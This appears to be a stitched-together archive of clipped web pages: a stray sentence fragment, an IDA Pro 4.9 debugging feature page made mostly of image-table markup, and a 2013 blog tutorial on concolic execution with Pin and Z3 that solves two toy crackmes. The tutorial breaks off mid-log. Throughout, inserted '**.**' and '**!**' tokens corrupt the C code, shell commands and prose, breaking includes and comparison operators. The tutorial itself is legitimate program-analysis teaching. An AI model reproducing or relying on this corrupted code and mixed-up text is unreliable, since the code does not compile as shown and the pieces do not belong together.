the status quo seems to be as it is -- those people who would like a change
are resigned to the idea that it may never happen. And so they are now used to
it....

_This post brought to you by_ "\", "¥", _and_ "₩" _\(U+005c, U+00a5, and
U+20a9, a.k.a. REVERSE SOLIDUS, YEN SIGN, and WON SIGN\)_

# IDA Pro Disassembler - multi-processor, windows hosted disassembler and
debugger

**Created:**| _5/9/2009 12:43:24 PM_  
---|---  
**Updated:**| _5/9/2009 12:43:33 PM_  
**Author:**| __  
**Tags:**| _Debugging iDA_  
  

Debugging facilities in IDA Pro 4.9 and 4.9 SP

Since we enhanced the usability of IDA Pro remote debugging options, many
possibilities are now open. Explore the graph below to discover some of the
possible connections.

  * instant debugging, no need to wait for the analysis to be complete to start a debug session.
  * easy connection to both local and remote processes.
  * support for 64 bits systems and new connection possibilities.
  * WindowCE remote debugging tutorial

click on the links below to explore some of the remote debugging features.

<img src='img/Temp2_4182.gif' width='43' height='1' />| <img
src='img/Temp2_4182.gif' width='182' height='1' />| <img
src='img/Temp2_4182.gif' width='25' height='1' />| <img
src='img/Temp2_4182.gif' width='23' height='1' />| <img
src='img/Temp2_4182.gif' width='73' height='1' />| <img
src='img/Temp2_4182.gif' width='29' height='1' />| <img
src='img/Temp2_4182.gif' width='18' height='1' />| <img
src='img/Temp2_4182.gif' width='161' height='1' />| <img
src='img/Temp2_4182.gif' width='49' height='1' />| <img
src='img/Temp2_4182.gif' width='1' height='1' />  
---|---|---|---|---|---|---|---|---|---  
<img src='img/Temp2_4171.gif' width='603' />| <img src='img/Temp2_4182.gif'
width='1' height='19' />  
<img src='img/Temp2_4180.gif' width='225' height='63' />| <img
src='img/Temp2_4187.gif' width='168' height='122' />| <img
src='img/Temp2_4183.gif' width='210' height='63' />| <img
src='img/Temp2_4182.gif' width='1' height='63' />  
<img src='img/Temp2_4186.gif' width='43' height='523' />| <img
src='img/Temp2_4176.gif' width='182' height='160' />| <img
src='img/Temp2_4179.gif' width='161' height='160' />| <img
src='img/Temp2_4168.gif' width='49' height='523' />| <img
src='img/Temp2_4182.gif' width='1' height='59' />  
<img src='img/Temp2_4173.gif' width='48' height='216' />| <img
src='img/Temp2_4169.gif' width='73' height='101' />| <img
src='img/Temp2_4185.gif' width='47' height='216' />| <img
src='img/Temp2_4182.gif' width='1' height='101' />  
<img src='img/Temp2_4172.gif' width='182' height='115' />| <img
src='img/Temp2_4167.gif' width='73' height='115' />| <img
src='img/Temp2_4174.gif' width='161' height='115' />| <img
src='img/Temp2_4182.gif' width='1' height='115' />  
<img src='img/Temp2_4181.gif' width='207' height='200' />| <img
src='img/Temp2_4175.gif' width='23' height='78' />| <img
src='img/Temp2_4177.gif' width='73' height='78' />| <img
src='img/Temp2_4170.gif' width='29' height='78' />| <img
src='img/Temp2_4184.gif' width='179' height='200' />| <img
src='img/Temp2_4182.gif' width='1' height='78' />  
<img src='img/Temp2_4178.gif' width='125' height='122' />| <img
src='img/Temp2_4182.gif' width='1' height='122' />  
<img src='img/Temp2_4188.gif' width='511' height='48' />| <img
src='img/Temp2_4182.gif' width='1' height='48' />

# shell-storm | Binary analysis: Concolic execution with Pin and z3
**Created:**| _9/27/2013 10:57:58 AM_  
---|---  
**Updated:**| _9/27/2013 10:57:58 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification symbolic exec concurrency_  
  

# **B** inary analysis: Concolic execution with Pin and z3****

by Jonathan Salwan  \- 2013-08-28

* * *
### 1 - Introduction****

In a previous post , I talked about the concolic execution using Valgrind to
the taint analysis and z3 to the constraint path solving**.** So why another
blog post about this technique**?** Because recently my previous researchs was
around Pin and because Pin is supported on Linux, Windows and Mac**.** I also
wanted to see how it's possible to do it without IR - With Valgrind and z3 it
was pretty easy because Valgrind provides an IR \(VEX\)**.** Then, it can be
useful for other people or it can be give some new ideas**.** :-\)**.**

### 2 - Concolic execution****

We can find two types of analysis, static and dynamic analysis**.** Both
approaches have some advantages and disadvantages**.** If you use dynamic
analysis, we can't cover all the code but you will be more reliable**.** If
you use static analysis, you can cover the code, but you can't get the context
information at runtime**.** The concolic execution is a technic that uses both
symbolic and concrete execution to solve a constraint path**.** The concolic
execution is mainly used to cover a code**.** To list the constraints, the
symbolic execution is used**.** Below, a little example about the symbolic
execution:

[code]

    int foo(int i1, int i2)
    {
        int x = i1;
        int y = i2;
    
        if (x > 80){
            x = y * 2;
            y = 0;
            if (x == 256)
                return True;
        }
        else{
            x = 0;
            y = 0;
        }
        /* ..**.** */
        return False;
    }
    
[/code]

Based that code, we can see 3 differents paths, for each path we have a
specific constraint**.** The constraints tree look like that:

<img src='img/Temp2_10634.png' alt='Constraint Path' />

So, we can say that this code can return **False** via two differents paths
and **True** via only one path**.** With the symbolic execution, it's possible
to know which constraints are necessary to return **False** or **True****.**

<img src='img/Temp2_10640.png' alt='Constraint Path' />

The concolic execution will use the concrete execution to save and solve the
constraints at runtime**.** With this above case, to cover this code, the
program will be executed three times and for each execution, one constraint
will be solved to take another path**.** That's what we'll see in the next
chapter**.**

### 3 - Proof of concept on dumb crackme****

#### 3**.** 1 - Introduction****

We will start to analyze a simple code which contains only three simple
conditions**.** The goal will be to solve this crackme automatically via the
concolic execution**.**

[code]

    #include <stdio**.** h>
    #include <sys/types.h>
    #include <stdlib**.** h>
    #include <fcntl.h>
    
    int main(void)
    {
      int   fd;
      char  buff[260] = {0};
    
      fd = open("serial.txt", O_RDONLY);
      read(fd, buff, 256);
      close(fd);
    
      if (buff[0] **!** = 'a') return False;
      if (buff[1] != 'b') return False;
      if (buff[2] **!** = 'c') return False;
    
      printf("Good boy\n");
    
      return True;
    }
    
[/code]

Based on that code, if we represent all paths and constraints, our constraints
tree will look like that:

<img src='img/Temp2_10636.png' />

This code contains four possible paths**.** Each path has its constraints.

[code]

          +-----------+----------------------------------------------------+--------------+
          | PC number |                    Constraints                     | return value |
          +-----------+----------------------------------------------------+--------------+
          |     1     | buff[0] **!** = 'a'                                     | return False | 
          |     2     | buff[0] == 'a' && buff[1] **!** = 'b'                   | return False |
          |     3     | buff[0] == 'a' && buff[1] == 'b' && buff[2] **!** = 'c' | return False |
          |     4     | buff[0] == 'a' && buff[1] == 'b' && buff[2] == 'c' | return True  |
          +-----------+----------------------------------------------------+--------------+
    
[/code]

Now that we have listed all constraints which are possible, we can cover the
code**.** For that, we need to run the program with the first constraint, then
we re-run the program with the second constraint and repeat this operation
until the last constraint is executed**.** This operation is called the
concolic execution. Below you can see a diagram representing this
execution**.**

<img src='img/Temp2_10637.png' alt='Crackme1 constraints concolic' />

As you can see above, we can cover all the code with only four executions**.**
Now, we will see how it's possible to implement it with Pin**.** For that we
need to:

  * Taint the serial.txt buffer**.**
  * Follow our data \(Spread the taint\).
  * Save the first constraint**.**
  * Solve this constraint.
  * Re-run the binary with the first constraint solved**.**
  * And repeat this operation for each constraint \(each path\)..**.**

In this blog post, we will not talk about the taint analysis, for that, you
can read my previous post **.** Then, to solve the constraints we will use the
theorem prover Z3  and its C++ API **.**

#### 3.2 - Compile a Pin tool with Z3 C++ API****

We will use the Z3 C++ API inside the Pin tool**.** So, you need to install
the Z3 library and add the headers/lib in the compile line**.** In my case, I
downloaded the z3.zip in my pintool directory and I compiled the library**.**
Then, to compile my Pin tool, I created a shell script which compiles with the
Z3 headers/lib**.** This script looks like that:

[code]

    $ pwd
    /home/jonathan/Works/Tools/pin-2**.** 12-58423-gcc.4.4**.** 7-linux/source/tools/ConcolicExecution
    
    $ cat compile**.** sh
    g++ -DBIGARRAY_MULTIPLIER=1 -DUSING_XED -Wall -Werror -Wno-unknown-pragmas -fno-stack-protector -DTARGET_IA32E -DHOST_IA32E -fPIC -DTARGET_LINUX  -I../../../source/include/pin -I../../../source/include/pin/gen -I../../../extras/components/include -I**.** /z3/src/api/c++ -I../../../extras/xed2-intel64/include -I../../../source/tools/InstLib -O3 -fomit-frame-pointer -fno-strict-aliasing    -c -o obj-intel64/ConcolicExecution**.** o ConcolicExecution.cpp
    
    g++ -shared -Wl,--hash-style=sysv -Wl,-Bsymbolic -Wl,--version-script=../../../source/include/pin/pintool.ver    -o obj-intel64/ConcolicExecution**.** so obj-intel64/ConcolicExecution.o  -L../../../intel64/lib -L../../../intel64/lib-ext -L../../../intel64/runtime/glibc -L../../../extras/xed2-intel64/lib -lpin -lxed -ldwarf -lelf -ldl -lz3
    $
    
[/code]

#### 3**.** 3 - Save and solve the constraints****

If we look the ASM representation of our C code**.** We can see that this code
loads in the "**eax** " register our character \("**rbp-0x110** " points on
our serial buffer\)**.** Then, it compares the smaller size register "**al** "
with a constant and it jumps to two different space if it's true or false**.**

[code]

    .text:400683:  movzx  eax,BYTE PTR [rbp-0x110]
    .text:40068a:  cmp    al,0x61
    .text:40068c:  je     400695 <main+0x81>
    .text:40068e:  mov    eax,0x1
    .text:400693:  jmp    4006c8 <main+0xb4>
    
    .text:400695:  movzx  eax,BYTE PTR [rbp-0x10f]
    .text:40069c:  cmp    al,0x62
    .text:40069e:  je     4006a7 <main+0x93>
    .text:4006a0:  mov    eax,0x1
    .text:4006a5:  jmp    4006c8 <main+0xb4>
    
    .text:4006a7:  movzx  eax,BYTE PTR [rbp-0x10e]
    .text:4006ae:  cmp    al,0x63
    .text:4006b0:  je     4006b9 <main+0xa5>
    .text:4006b2:  mov    eax,0x1
    .text:4006b7:  jmp    4006c8 <main+0xb4>
    
    .text:4006b9:  mov    edi,0x4007c7
    .text:4006be:  call   4004e0 <puts@plt>
    
    .text:4006c3:  mov    eax,0x0
    .text:4006c8:  leave  
    .text:4006c9:  ret
    
[/code]

This code is pretty simple and if we taint the datas used in our serial.txt,
we have something like that:

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution.so -taint-file serial.txt -- **.** /crackme1
    [TAINT]                 bytes tainted from 0x7fff194a6600 to 0x7fff194a6700 (via read)
    [READ in 7fff194a6600]  400683: movzx eax, byte ptr [rbp-0x110]
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
[/code]

Now, the real question is: Where does start and stop the equation**?** I think
it's real good/complicated question and I am currently still working on
that**\!** However, in your case, we will start an equation when a byte
controllable by the user is **LOAD** and we will stop it when the "**cmp** "
instruction occurs**.** We will also assign an unique ID for each
constraint**.**

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution**.** so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff194a6600 to 0x7fff194a6700 (via read)
    [READ in 7fff194a6600]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x78
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
[/code]

As you can see above, we assign the first constraint with the unique ID
**\#0****.** This constraint was the first, so we tag it to remember that's
possible to control it via the user input**.** Then, when the "**cmp** "
occurs, we display the full equation**.**

To maintain a link between a register and a constraint number, a table is
updated**.** When a constraint is assigned, it's also assigned to a
register**.**

<img src='img/Temp2_10633.png' alt='Reg constraint table' />

That means `eax = #0 = 0x78` \- 0x78 is our first character in our serial**.**
Then `cmp(al, 0x61) = cmp(#0, 0x61)` because `eax = #0` and `cmp(#0, 0x61) =
cmp(x, 0x61)` because `#0` is the first constraint of our equation**.**

Now to solve this equation we just use Z3**.**

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution.so -taint-file serial.txt -- **.** /crackme1
    [TAINT]                 bytes tainted from 0x7fff194a6600 to 0x7fff194a6700 (via read)
    [READ in 7fff194a6600]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x78
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
[/code]

Z3 tries to solve this equation `(= x #x00000061))` and finds that the result
is `0x61`**.** At this time, the Pin tool writes the good character \(0x61\)
in our serial.txt**.**

#### 3.4 - Demo on the first crackme****

To solve this crackme and to generate the good serial.txt, we need to run
three times this Pin tool**.** For each execution, one character is found and
written in the serial file**.**

[code]

    $ printf "xxx" > serial.txt
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution.so -taint-file serial.txt -- **.** /crackme1
    [TAINT]                 bytes tainted from 0x7fff065b1ab0 to 0x7fff065b1bb0 (via read)
    [READ in 7fff065b1ab0]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x78
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [SPREAD]                40068e: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
    $ cat serial.txt
    a%
    
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution**.** so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff0c1677a0 to 0x7fff0c1678a0 (via read)
    [READ in 7fff0c1677a0]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x61
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [READ in 7fff0c1677a1]  400695: movzx eax, byte ptr [rbp-0x10f]
    [Constraint]            #1 = 0x00
                            eax is already tainted
    [FOLLOW]                40069c: cmp al, 0x62
    [Equation]              cmp(#1, 0x62)
    [Equation]              cmp(cmp(x, 0x61), 0x62)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000062))
    (define-fun x () (_ BitVec 32)
      #x00000062)
    The good value is 0x62
    [Z3 Solver]-------------------------------------
    [SPREAD]                4006a0: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
    $ cat serial.txt
    ab%
    
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution.so -taint-file serial.txt -- **.** /crackme1
    [TAINT]                 bytes tainted from 0x7fff4acd2e60 to 0x7fff4acd2f60 (via read)
    [READ in 7fff4acd2e60]  400683: movzx eax, byte ptr [rbp-0x110]
    [Constraint]            #0 = 0x61
                            eax is now tainted
    [FOLLOW]                40068a: cmp al, 0x61
    [Equation]              cmp(#0, 0x61)
    [Equation]              cmp(x, 0x61)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000061))
    (define-fun x () (_ BitVec 32)
      #x00000061)
    The good value is 0x61
    [Z3 Solver]-------------------------------------
    [READ in 7fff4acd2e61]  400695: movzx eax, byte ptr [rbp-0x10f]
    [Constraint]            #1 = 0x62
                            eax is already tainted
    [FOLLOW]                40069c: cmp al, 0x62
    [Equation]              cmp(#1, 0x62)
    [Equation]              cmp(cmp(x, 0x61), 0x62)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000062))
    (define-fun x () (_ BitVec 32)
      #x00000062)
    The good value is 0x62
    [Z3 Solver]-------------------------------------
    [READ in 7fff4acd2e62]  4006a7: movzx eax, byte ptr [rbp-0x10e]
    [Constraint]            #2 = 0x00
                            eax is already tainted
    [FOLLOW]                4006ae: cmp al, 0x63
    [Equation]              cmp(#2, 0x63)
    [Equation]              cmp(cmp(cmp(x, 0x61), 0x62), 0x63)
    [Z3 Solver]-------------------------------------
    (solver
      (= x #x00000063))
    (define-fun x () (_ BitVec 32)
      #x00000063)
    The good value is 0x63
    [Z3 Solver]-------------------------------------
    [SPREAD]                4006b2: mov eax, 0x1
                            output: eax | input: constant
                            eax is now freed
    
    $ cat serial.txt
    abc%
    
    $ **.** /crackme1
    Good boy
    
[/code]

#### 3**.** 5 - Another crackme using XOR-based algorithm****

To complicate things a bit, let's use this following dumb crackme using an
XOR-based algorithm**.**

[code]

    #include <stdio**.** h>
    #include <sys/types.h>
    #include <stdlib**.** h>
    #include <fcntl.h>
    
    char *serial = "\x30\x39\x3c\x21\x30";
    
    int main(void)
    {
      int fd, i = 0;
      char buf[260] = {0};
      char *r = buf;
    
      fd = open("serial.txt", O_RDONLY);
      read(fd, r, 256);
      close(fd);
      while (i < 5){
        if ((*r ^ (0x55)) **!** = *serial)
          return 0;
        r++, serial++, i++;
      }
      if (**!** *r)
        printf("Good boy\n");
      return 0;
    }
    
[/code]

This code reads and applies an XOR with the constant key "0x55" on each
character in the serial file**.** Then, it checks the result with a constant
string serial**.** This code is intersting to study the execution concolic,
because we have a simple algorithm**.** On the following CFG, the blue blox is
our algorithm**.**

<img src='img/Temp2_10639.png' alt='CFG' />

Now**.** let's see what happens when we taint and follow our datas from the
serial file**.**

[code]

    $ printf "xxx" > **.** /serial.txt
    $ ../../../pin -t obj-intel64/ConcolicExecution**.** so -taint-file serial.txt -- **.** /crackme2
    [TAINT]                 bytes tainted from 0x7fff3cab6cc0 to 0x7fff3cab6dc0 (via read)
    [READ in 7fff3cab6cc0]  400698: movzx eax, byte ptr [rax]
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [FOLLOW]                4195997: xor edx, 0x55
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [SPREAD]                7feb884e67db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
[/code]

Same for the first example, we need to assign a unique constraint for each
spread**.** Then, when the **cmp** instruction occurs, we need to solve the
equation via Z3**.**

[code]

    $ ../../../pin -t obj-intel64/ConcolicExecution**.** so -taint-file serial.txt -- **.** /crackme2
    [TAINT]                 bytes tainted from 0x7fff3cab6cc0 to 0x7fff3cab6dc0 (via read)
    [READ in 7fff3cab6cc0]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x61
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [SPREAD]                7feb884e67db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    e%
    $
    
[/code]

As you can see above, my constraint on the **xor** instruction looks like
that: `xor(#1, 0x55)`, it means we need to display/follow all ALU operations
on a specific convention**.** Like:

[code]

    add(a, b)
    sub(a, b)
    mul(a, b)
    div(a, b)
    xor(a, b)
    ..**.**
    
[/code]

This is a real problem with Pin**.** Because it doesn't provide an IR, we need
to implement all operations**.** For example, with the **xor** instruction, we
need to catch these following encoding:

[code]

    xor reg, reg         
    xor mem, reg         
    xor reg, mem         
    xor reg, immed       
    xor mem, immed       
    xor accum, immed
    
[/code]

Then, when we need to build our equation like `cmp(#2, 0x30)`, we need to
replace the constraint number by its content - And for that we will use the
constraints table**.**

<img src='img/Temp2_10638.png' alt='equation mutation' />

After the first constraint solved, we set the first character in the serial
file and we re-run the Pin tool to solve the second constraint**.** We repeat
this operation until all constraints are solved**.** The following diagram
represent our executions**.** As you can see, for each execution, only one
constraint is solved**.**

<img src='img/Temp2_10635.png' alt='concolic execution' />

And the full result which generates a valide file key is pasted below**.** As
you can see, for each execution, one character is found until the valide
key**.**

[code]

    $ printf "xxx" > **.** /serial.txt
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution**.** so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff2d60e7d0 to 0x7fff2d60e8d0 (via read)
    [READ in 7fff2d60e7d0]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x41
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [SPREAD]                7ff3541837db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    e%
    
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution.so -taint-file serial.txt -- **.** /crackme1
    [TAINT]                 bytes tainted from 0x7fff6d1f8730 to 0x7fff6d1f8830 (via read)
    [READ in 7fff6d1f8730]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff6d1f8731]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [SPREAD]                7fe0b6aa47db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    el%
    
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution**.** so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff2d1e1e00 to 0x7fff2d1e1f00 (via read)
    [READ in 7fff2d1e1e00]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff2d1e1e01]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x6c
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [READ in 7fff2d1e1e02]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #6 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #7 = #6
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #8 = xor(#7, 0x55)
    [READ in 4007ee]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#8, 0x3c)
    [Equation]              cmp(xor(x, 0x55), 0x3c)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x0000003c))
    (define-fun x () (_ BitVec 32)
      #x00000069)
    The good value is 0x69
    [Z3 Solver]-------------------------------------
    [SPREAD]            7f7e919ef7db: mov edx, 0x1
                        output: edx | input: constant
                        edx is now freed
    
    $ cat serial.txt
    eli%
    
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution.so -taint-file serial.txt -- **.** /crackme1
    [TAINT]                 bytes tainted from 0x7fff597b37a0 to 0x7fff597b38a0 (via read)
    [READ in 7fff597b37a0]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #2 = xor(#1, 0x55)
    [READ in 4007ec]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#2, 0x30)
    [Equation]              cmp(xor(x, 0x55), 0x30)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000030))
    (define-fun x () (_ BitVec 32)
      #x00000065)
    The good value is 0x65
    [Z3 Solver]-------------------------------------
    [READ in 7fff597b37a1]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #3 = 0x6c
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #4 = #3
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #5 = xor(#4, 0x55)
    [READ in 4007ed]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#5, 0x39)
    [Equation]              cmp(xor(x, 0x55), 0x39)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000039))
    (define-fun x () (_ BitVec 32)
      #x0000006c)
    The good value is 0x6c
    [Z3 Solver]-------------------------------------
    [READ in 7fff597b37a2]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #6 = 0x69
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #7 = #6
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #8 = xor(#7, 0x55)
    [READ in 4007ee]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#8, 0x3c)
    [Equation]              cmp(xor(x, 0x55), 0x3c)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x0000003c))
    (define-fun x () (_ BitVec 32)
      #x00000069)
    The good value is 0x69
    [Z3 Solver]-------------------------------------
    [READ in 7fff597b37a3]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #9 = 0x00
                            eax is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #10 = #9
    [FOLLOW]                4195997: xor edx, 0x55
    [Constraint]            #11 = xor(#10, 0x55)
    [READ in 4007ef]        4006a7: movzx eax, byte ptr [rax]
                            eax is now freed
    [FOLLOW]                4006aa: cmp dl, al
    [Equation]              cmp(#11, 0x21)
    [Equation]              cmp(xor(x, 0x55), 0x21)
    [Z3 Solver]-------------------------------------
    (solver
      (= (bvxor x #x00000055) #x00000021))
    (define-fun x () (_ BitVec 32)
      #x00000074)
    The good value is 0x74
    [Z3 Solver]-------------------------------------
    [SPREAD]                7f9ac23db7db: mov edx, 0x1
                            output: edx | input: constant
                            edx is now freed
    
    $ cat serial.txt
    elit%
    
    $ ../../../pin -t **.** /obj-intel64/ConcolicExecution**.** so -taint-file serial.txt -- ./crackme1
    [TAINT]                 bytes tainted from 0x7fff313be550 to 0x7fff313be650 (via read)
    [READ in 7fff313be550]  400698: movzx eax, byte ptr [rax]
    [Constraint]            #0 = 0x65
                            eax is now tainted
    [SPREAD]                40069b: mov edx, eax
                            output: edx | input: eax
                            edx is now tainted
    [FOLLOW]                40069b: mov edx, eax
    [Constraint]            #1 = #0
